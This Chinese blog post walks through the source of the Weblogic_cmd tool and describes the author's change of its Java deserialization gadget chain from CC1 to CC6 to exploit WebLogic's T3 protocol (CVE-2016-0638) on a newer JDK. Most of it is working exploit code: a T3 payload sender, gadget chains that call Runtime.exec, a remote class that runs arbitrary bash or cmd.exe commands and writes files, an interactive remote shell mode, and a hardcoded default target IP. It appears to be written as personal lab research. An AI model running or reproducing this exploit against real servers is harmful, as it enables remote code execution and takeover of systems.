April 13, 2023

记一次Weblogic_cmd小改

前言

Weblogic_cmd是一款用于webloigc命令执行的工具,和ysoserial一样,当时是因为自己搭建的webloigc靶场用的是jdk8u202,版本比较高,工具默认的链子是CC1,打不通,所以自己小改了一下CC6,并且分析了一下Payload生成流程;之后用Weblogic结合RMI回显又需要改一下,踩得坑还挺多的,总结一下

Weblogic_cmd各模块讲解

Main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
package com.supeream;

import com.supeream.serial.BytesOperation;
import com.supeream.ssl.WeblogicTrustManager;
import com.supeream.weblogic.WebLogicOperation;
import org.apache.commons.cli.*;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.jndi.Environment;
import weblogic.utils.encoders.BASE64Encoder;

import javax.naming.Context;
import javax.naming.NamingException;
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Scanner;


public class Main {

public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static String TYPE = "marshall";
public static List<String> types = Arrays.asList(new String[]{"marshall", "collection", "streamMessageImpl"});
public static String version;
public static CommandLine cmdLine;
private static String cmd = "whoami";


public static Context getInitialContext(String url) throws NamingException, FileNotFoundException {
Environment environment = new Environment();
environment.setProviderUrl(url);
environment.setEnableServerAffinity(false);
environment.setSSLClientTrustManager(new WeblogicTrustManager());
return environment.getInitialContext();
}

public static boolean checkIsAlreadyInstalled(String host, String port) {
try {
System.out.println("检查是否安装rmi实例");
Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("supeream");
System.out.println("rmi已经安装");
invokeRmi(remoteCode);
return true;
} catch (Exception e) {
if (e.getMessage() !=null && e.getMessage().contains("supeream")) {
System.out.println("rmi实例不存在");
} else {
e.printStackTrace();
// System.exit(0);
}
}

return false;
}

public static void executeBlind(String host, String port) throws Exception {

if (cmdLine.hasOption("B") && cmdLine.hasOption("C")) {
System.out.println("执行命令:" + cmdLine.getOptionValue("C"));
WebLogicOperation.blindExecute(host, port, cmdLine.getOptionValue("C"));
System.out.println("执行blind命令完成");
System.exit(0);
}

}

public static String converUrl(String host, String port) {
if (cmdLine.hasOption("https")) {
return "t3s://" + host + ":" + port;
} else {
return "t3://" + host + ":" + port;
}
}

private static String cdConcat(List<String> cds) {
StringBuffer stringBuffer = new StringBuffer();
for (String cd: cds) {
stringBuffer.append(cd);
stringBuffer.append("&&");
}
return stringBuffer.toString();
}

public static void invokeRmi(ClusterMasterRemote remoteCode) throws Exception {
String result = null;

if (Main.cmdLine.hasOption("shell")) {
Scanner scanner = new Scanner(System.in);
List<String> cacheCmds = new ArrayList<String>();

while (true) {
System.out.print("please input cmd:>");
cmd = scanner.nextLine();
if (cmd.equalsIgnoreCase("exit")) {
System.exit(0);
}
if (cmd.startsWith("cd ")) {
cacheCmds.add(cmd);
}

if (cmd.equalsIgnoreCase("clear")) {
cacheCmds.clear();
continue;
}

if (cmd.equalsIgnoreCase("back")) {
cacheCmds.remove(cacheCmds.size()-1);
continue;
}

String newCmd = cdConcat(cacheCmds);

if (!cmd.startsWith("cd ")) {
newCmd += cmd;
} else if (newCmd.length()>3){
newCmd = newCmd.substring(0, newCmd.length()-2);
}


if (Main.cmdLine.hasOption("noExecPath")) {
result = remoteCode.getServerLocation("showmecode$NO$"+newCmd);
} else {
result = remoteCode.getServerLocation("showmecode"+newCmd);
}

System.out.println(result);
}
} else {
System.out.println("执行命令:" + cmd);

if (Main.cmdLine.hasOption("noExecPath")) {
result = remoteCode.getServerLocation("showmecode$NO$"+cmd);
} else {
result = remoteCode.getServerLocation("showmecode"+cmd);
}
System.out.println(result);
}
}

public static void main(String[] args) {

System.setProperty("weblogic.security.allowCryptoJDefaultJCEVerification", "true");
System.setProperty("weblogic.security.allowCryptoJDefaultPRNG", "true");
System.setProperty("weblogic.security.SSL.ignoreHostnameVerification", "true");
System.setProperty("weblogic.security.TrustKeyStore", "DemoTrust");

Options options = new Options();
options.addOption("H", true, "Remote Host[need set]");
options.addOption("P", true, "Remote Port[need set]");
options.addOption("C", true, "Execute Command[need set]");
options.addOption("T", true, "Payload Type" + types);
options.addOption("U", false, "Uninstall rmi");
options.addOption("B", false, "Runtime Blind Execute Command maybe you should select os type");
options.addOption("os", true, "Os Type [windows,linux]");
options.addOption("https", false, "enable https or tls");
options.addOption("shell", false, "enable shell module");
options.addOption("upload", false, "enable upload a file");
options.addOption("src", true, "path to src file ");
options.addOption("dst", true, "path to dst file ");
options.addOption("noExecPath", false, "custom execute path");

try {

String host = "202.60.207.169";
String port = "7001";
CommandLineParser parser = new DefaultParser();
cmdLine = parser.parse(options, args);

if (cmdLine.hasOption("H")) {
host = cmdLine.getOptionValue("H");
} else {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("supeream", options);
System.exit(0);
}

if (cmdLine.hasOption("P")) {
port = cmdLine.getOptionValue("P");
}

if (cmdLine.hasOption("C")) {
cmd = cmdLine.getOptionValue("C");
}

if (cmdLine.hasOption("T")) {
TYPE = cmdLine.getOptionValue("T");
}

if (cmdLine.hasOption("U")) {
System.out.println("开始删除rmi实例");
WebLogicOperation.unInstallRmi(host, port);
System.out.println("后门删除实例");
System.exit(0);
}

executeBlind(host, port);

if (Main.cmdLine.hasOption("upload") && Main.cmdLine.hasOption("src") && Main.cmdLine.hasOption("dst")) {
System.out.println("开始上传文件");
String path = Main.cmdLine.getOptionValue("src");
byte[] fileContent = BytesOperation.GetByteByFile(path);
WebLogicOperation.uploadFile(host, port, Main.cmdLine.getOptionValue("dst"), fileContent);
System.out.println("file upload success");
System.exit(0);
}

if (checkIsAlreadyInstalled(host, port)) {
System.exit(0);
}

System.out.println("开始安装rmi实例");
WebLogicOperation.installRmi(host, port);
System.out.println("等待rmi实例安装成功 ");
Thread.sleep(2000);

Context initialContext = getInitialContext(converUrl(host, port));
ClusterMasterRemote remoteCode = (ClusterMasterRemote) initialContext.lookup("supeream");
invokeRmi(remoteCode);

} catch (Exception e) {
System.out.println("实例安装失败");
String msg = e.getMessage();
if (msg != null && msg.contains("Unrecognized option")) {
HelpFormatter formatter = new HelpFormatter();
formatter.printHelp("supeream", options);
} else {
System.out.println("实例rmi安装失败 请切换-OB模式");
e.printStackTrace();
}
}

}
}

main方法就是程序启动类,它获取了你输入的cmdline的一系列参数,然后送往其他模块进行处理,其中的invokeRmi就是我说的官方自带的rmi回显策略,效果是一样,但是构造起来可能小偏差有一点,其他的就没什么好说的了,都是些通俗易懂的

Payload

Payload模块就是官方自带的Weblogic和RMI结合回显的策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package com.supeream.payload;

//import sun.tools.asm.TryData;
import weblogic.cluster.singleton.ClusterMasterRemote;
import weblogic.utils.encoders.BASE64Decoder;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.BufferedReader;
import java.io.FileOutputStream;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

/**
* Created by nike on 17/6/27.
*/

public class RemoteImpl implements ClusterMasterRemote {

public static void main(String[] args) {

try {
RemoteImpl remote = new RemoteImpl();

if (args.length == 2 && args[0].equalsIgnoreCase("blind")) {
remote.getServerLocation(args[1]);
} else if (args.length == 1) {
Context ctx = new InitialContext();
if (args[0].equalsIgnoreCase("install")) {
ctx.rebind("supeream", remote);
} else if (args[0].equalsIgnoreCase("uninstall")) {
ctx.unbind("supeream");
}
}
} catch (Exception e) {

}
}


@Override
public void setServerLocation(String cmd, String args) throws RemoteException {

}

public static void uploadFile(String path, byte[] content) {
try {
FileOutputStream fileOutputStream = new FileOutputStream(path);
fileOutputStream.write(content);
fileOutputStream.flush();
fileOutputStream.close();
}catch (Exception e) {

}
}


@Override
public String getServerLocation(String cmd) throws RemoteException {
try {

if (!cmd.startsWith("showmecode")) {
return "guess me?";
} else {
cmd = cmd.substring(10);
}

boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

List<String> cmds = new ArrayList<String>();

if (cmd.startsWith("$NO$")) {
cmds.add(cmd.substring(4));
}else if (isLinux) {
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
} else {
cmds.add("cmd.exe");
cmds.add("/c");
cmds.add(cmd);
}

ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();

BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();

String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}

这是官方自己构造的恶意远程类,和我们接下来要说的一样,都是构造了继承了ClusterMasterRemote,八九不离十

serial

这个包里面包含序列化的工具类
BytesOperation:
这个类内涵多种进制转换工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.supeream.serial;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

import java.io.FileInputStream;

public class BytesOperation {


public static byte[] hexStringToBytes(String hexString) {
if (hexString != null && !hexString.equals("")) {
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];

for (int i = 0; i < length; ++i) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}

return d;
} else {
return null;
}
}

private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}

public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
byte[] byte_3 = new byte[byte_1.length + byte_2.length];
System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
return byte_3;
}

public static String bytesToHexString(byte[] src) {
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
return stringBuilder.toString();
}

public static byte[] GetByteByFile(String FilePath) throws Exception {
FileInputStream fi = new FileInputStream(FilePath);
byte[] temp = new byte[50000000];
int length = fi.read(temp);
byte[] file = new byte[length];

for (int i = 0; i < length; ++i) {
file[i] = temp[i];
}

fi.close();
return file;
}

public static void main(String[] args) throws Exception {
System.out.println(BytesOperation.bytesToHexString(BytesOperation.GetByteByFile("/Users/nike/IdeaProjects/weblogic_cmd/lib/remote.jar")));
}
}

可以看到里面有十六进制转换有关的,由于最后t3协议发过去是16进制,因此需要用到这个工具类
Reflection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.supeream.serial;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class Reflections {

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}

public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}

}

这个类就是反射修改东西的类,挺好用的

SerialDataGenerator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package com.supeream.serial;

import com.supeream.weblogic.BypassPayloadSelector;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.mozilla.classfile.DefiningClassLoader;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/**
* Created by nike on 17/7/3.
*/
public class SerialDataGenerator {

private static final String REMOTE = "com.supeream.payload.RemoteImpl";
private static final String remoteHex = "不写出来了,恶意文件的16进制";


private static byte[] serialData(Transformer[] transformers) throws Exception {
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 初始化map 设置laymap
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap();
hashMap.put(tiedMapEntry,"bbb");
innerMap.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,transformerChain);
Object _handler = BypassPayloadSelector.selectBypass(hashMap);
return Serializables.serialize(_handler);
}

private static Transformer[] defineAndLoadPayloadTransformerChain(String className, byte[] clsData, String[] bootArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{bootArgs}}),
new ConstantTransformer(new HashSet())};
return transformers;
}

private static Transformer[] uploadTransformerChain(String className, byte[] clsData, String filePath, byte[] content) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"uploadFile", new Class[]{String.class, byte[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{filePath, content}}),
new ConstantTransformer(new HashSet())};
return transformers;
}

private static Transformer[] blindExecutePayloadTransformerChain(String[] execArgs) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String[].class}, new Object[]{execArgs}),
new ConstantTransformer(new HashSet())};
return transformers;
}

public static byte[] serialRmiDatas(String[] bootArgs) throws Exception {
return serialData(defineAndLoadPayloadTransformerChain(SerialDataGenerator.REMOTE, BytesOperation.hexStringToBytes(SerialDataGenerator.remoteHex), bootArgs));
}

public static byte[] serialBlindDatas(String[] execArgs) throws Exception {
return serialData(blindExecutePayloadTransformerChain(execArgs));
}

public static byte[] serialUploadDatas(String filePath, byte[] content) throws Exception {
return serialData(uploadTransformerChain(SerialDataGenerator.REMOTE, BytesOperation.hexStringToBytes(SerialDataGenerator.remoteHex), filePath, content));
}

}

初步看一眼就是生成CC链的地方,里面包含多种chaintransformer,比如defineAndLoadPayloadTransformerChain、uploadTransformerChain、blindExecutePayloadTransformerChain,其中我们经常用的就是普通的blindExecutePayloadTransformerChain,执行完这个方法就进入对应的serial方法
那对标上面那么几种transformer,那肯定也有serial
image.png
因此这一块就是生成payload的地方

serializables:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.supeream.serial;

import java.io.*;

public class Serializables {

public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}

public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
}

public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}

public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

}

就是进行一系列序列化和反序列化的工具类,简单易懂

ssl

SSL(Secure Socket Layer),这里面对应的就是进行socket通讯的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.supeream.ssl;

import com.supeream.Main;

import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import java.net.Socket;
import java.security.SecureRandom;

/**
* Created by nike on 17/6/29.
*/
public class SocketFactory {
private SocketFactory() {
}

public static Socket newSocket(String host, int port) throws Exception {
Socket socket = null;
if (Main.cmdLine.hasOption("https")) {
SSLContext context = SSLContext.getInstance("SSL");
// 初始化
context.init(null,
new TrustManager[]{new TrustManagerImpl()},
new SecureRandom());
SSLSocketFactory factory = context.getSocketFactory();
socket = factory.createSocket(host, port);
} else {
socket = new Socket(host, port);
}

return socket;
}
}

假如是https请求,就进行有关SSL协议的处理发送过去,否则就直接正常http处理
另外两个类都是接口

weblogic

这个地方就是进行T3协议处理和payload选择的地方
BypassPayloadSelector:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.supeream.weblogic;

import com.supeream.Main;
import com.supeream.serial.Serializables;
import weblogic.corba.utils.MarshalledObject;
import weblogic.jms.common.StreamMessageImpl;

import java.io.IOException;

/**
* Created by nike on 17/6/26.
*/
public class BypassPayloadSelector {

private static Object marshalledObject(Object payload) {
MarshalledObject marshalledObject = null;
try {
marshalledObject = new MarshalledObject(payload);
} catch (IOException e) {
e.printStackTrace();
}
return marshalledObject;
}


public static Object streamMessageImpl(byte[] object) throws Exception {

StreamMessageImpl streamMessage = new StreamMessageImpl();
streamMessage.setDataBuffer(object, object.length);
return streamMessage;
}

public static Object selectBypass(Object payload) throws Exception {

if (Main.TYPE.equalsIgnoreCase("marshall")) {
payload = marshalledObject(payload);
} else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
payload = streamMessageImpl(Serializables.serialize(payload));
}
return payload;
}


}

进行bypass方法的选择
T3ProtocolOperation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
package com.supeream.weblogic;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

import com.supeream.Main;
import com.supeream.serial.BytesOperation;
import com.supeream.serial.Serializables;
import com.supeream.ssl.SocketFactory;
import weblogic.rjvm.JVMID;
import weblogic.security.acl.internal.AuthenticatedUser;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.Socket;

public class T3ProtocolOperation {


public static void send(String host, String port, byte[] payload) throws Exception {
Socket s = SocketFactory.newSocket(host, Integer.parseInt(port));
//AS ABBREV_TABLE_SIZE HL remoteHeaderLength 用来做skip的
String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n";

if (Main.cmdLine.hasOption("https")) {
header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n";
}

s.getOutputStream().write(header.getBytes());
s.getOutputStream().flush();
BufferedReader br = new BufferedReader(new InputStreamReader(s.getInputStream()));
String versionInfo = br.readLine();
if (Main.version == null) {
versionInfo = versionInfo.replace("HELO:", "");
versionInfo = versionInfo.replace(".false", "");
System.out.println("weblogic version:" + versionInfo);
Main.version = versionInfo;
}
// String asInfo = br.readLine();
// String hlInfo = br.readLine();
// System.out.println(versionInfo+"\n"+asInfo+"\n"+hlInfo);

//cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1

//t3 protocol
String cmd = "08";
String qos = "65";
String flags = "01";
String responseId = "ffffffff";
String invokableId = "ffffffff";
String abbrevOffset = "00000000";
String countLength = "01";
String capacityLength = "10";//必须大于上面设置的AS值
String readObjectType = "00";//00 object deserial 01 ascii

StringBuilder datas = new StringBuilder();
datas.append(cmd);
datas.append(qos);
datas.append(flags);
datas.append(responseId);
datas.append(invokableId);
datas.append(abbrevOffset);

//because of 2 times deserial
countLength = "04";
datas.append(countLength);

//define execute operation
String pahse1Str = BytesOperation.bytesToHexString(payload);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(pahse1Str);

//for compatiable fo hide
//for compatiable fo hide
AuthenticatedUser authenticatedUser = new AuthenticatedUser("weblogic", "admin123");
String phase4 = BytesOperation.bytesToHexString(Serializables.serialize(authenticatedUser));
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(phase4);

JVMID src = new JVMID();

Constructor constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
Field serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(src,1);

datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(src)));

JVMID dst = new JVMID();

constructor = JVMID.class.getDeclaredConstructor(java.net.InetAddress.class,boolean.class);
constructor.setAccessible(true);
src = (JVMID)constructor.newInstance(InetAddress.getByName("127.0.0.1"),false);
serverName = src.getClass().getDeclaredField("differentiator");
serverName.setAccessible(true);
serverName.set(dst,1);
datas.append(capacityLength);
datas.append(readObjectType);
datas.append(BytesOperation.bytesToHexString(Serializables.serialize(dst)));

byte[] headers = BytesOperation.hexStringToBytes(datas.toString());
int len = headers.length + 4;
String hexLen = Integer.toHexString(len);
StringBuilder dataLen = new StringBuilder();

if (hexLen.length() < 8) {
for (int i = 0; i < (8 - hexLen.length()); i++) {
dataLen.append("0");
}
}

dataLen.append(hexLen);
s.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString()));
s.getOutputStream().flush();
s.close();

}

}

最好用的地方,这个类用来发送t3协议,可以拿来当个工具类,基本的东西就这么多
WeblogicOption:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.supeream.weblogic;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

import com.supeream.Main;
import com.supeream.serial.SerialDataGenerator;
import com.supeream.serial.Serializables;

public class WebLogicOperation {

public static void installRmi(String host, String port) throws Exception {
byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"install"});
T3ProtocolOperation.send(host, port, payload);
}

public static void unInstallRmi(String host, String port) throws Exception {
byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"uninstall"});
T3ProtocolOperation.send(host, port, payload);
}

public static void blind(String host, String port) throws Exception {
byte[] payload = SerialDataGenerator.serialRmiDatas(new String[]{"blind", Main.cmdLine.getOptionValue("C")});
T3ProtocolOperation.send(host, port, payload);
}

public static void uploadFile(String host, String port, String filePath, byte[] content) throws Exception {
byte[] payload = SerialDataGenerator.serialUploadDatas(filePath, content);
T3ProtocolOperation.send(host, port, payload);
}

public static void blindExecute(String host, String port, String cmd) throws Exception {
String[] cmds = new String[]{cmd};
if (Main.cmdLine.hasOption("os")) {
if (Main.cmdLine.getOptionValue("os").equalsIgnoreCase("linux")) {
cmds = new String[]{"/bin/bash", "-c", cmd};
} else {
cmds = new String[]{"cmd.exe", "/c", cmd};
}
}
byte[] payload = SerialDataGenerator.serialBlindDatas(cmds);
T3ProtocolOperation.send(host, port, payload);
}

}

对应上文,进行payload选择处理的地方,就上面的upload bind ...几种选择

CVE-2016-0638小改

起因

当时是在研究T3反序列化里用StreamMessageImpl去绕过黑名单进行二次反序列化发现的问题,因为搭建环境的时候自己十分的铸币,导致我用的jdk版本是8u202,一个比较高的版本,这个版本是用不了CC1的,而weblogic_cmd默认又是只能用CC1的,当时让我懵逼了一阵子

小改造

调试一下流程就知道了
image.png
获取一系列的cmdline
image.png
然后executeBlind(host, port)获取一下命令
image.png
进入blindExecute主要生成payload逻辑
image.png
serialBlindDatas开始搭链子
image.png
image.png
就这里本来是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

InvocationHandler handler = (InvocationHandler) Reflections
.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, lazyMap);

final Map mapProxy = Map.class
.cast(Proxy.newProxyInstance(SerialDataGenerator.class.getClassLoader(),
new Class[]{Map.class}, handler));

handler = (InvocationHandler) Reflections.getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);

Object _handler = BypassPayloadSelector.selectBypass(hashMap);
return Serializables.serialize(_handler);

我改成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
final Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
// 初始化map 设置laymap
Map<Object,Object> lazymap = LazyMap.decorate(innerMap,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap();
hashMap.put(tiedMapEntry,"bbb");
innerMap.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,transformerChain);
Object _handler = BypassPayloadSelector.selectBypass(hashMap);
return Serializables.serialize(_handler);

就简单的改CC1改为CC6就好了。。

RMI与Weblogic结合回显策略

昨天学了一种通过RMI回显Weblogic反序列化的方式,这个方法适用于目标不出网,往常我们都是直接内存马,但是RMI这个思路也很不错,通过让Weblogic服务端加载一个恶意的远程接口类并且同时将其绑定在RMI上,这样我们就可以通过请求这个远程接口,然后输出运行结果就好了

遇到的问题

我们一般都适用Weblogic_cmd工具去给他嗦一把的,但是这个东西说实在的,你说这个工具有吧,它确实有类似的,但不是我想要的demo
因此就涉及到一个如何拓展一个属于自己的工具包了

1
2
3
4
5
6
7
8
9
10
11
E:.
├─boogipop
│ ├─payload
│ ├─serial
│ ├─ssl
│ └─weblogic
└─supeream
├─payload
├─serial
├─ssl
└─weblogic

树状图如上,其实东西很少就是个简单的小工具,其中boogipop和supeream就是2个工具包,supeream是原版的,另外一个就是我说的自定义的,那在这之前就得先解析一下都是做什么的,在一开始就解析完了,那假如想要创建一个自己的类,首先你的Main方法就得和它一样,对输入的cmdline进行处理,否则会抛出空指针异常的(踩坑了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
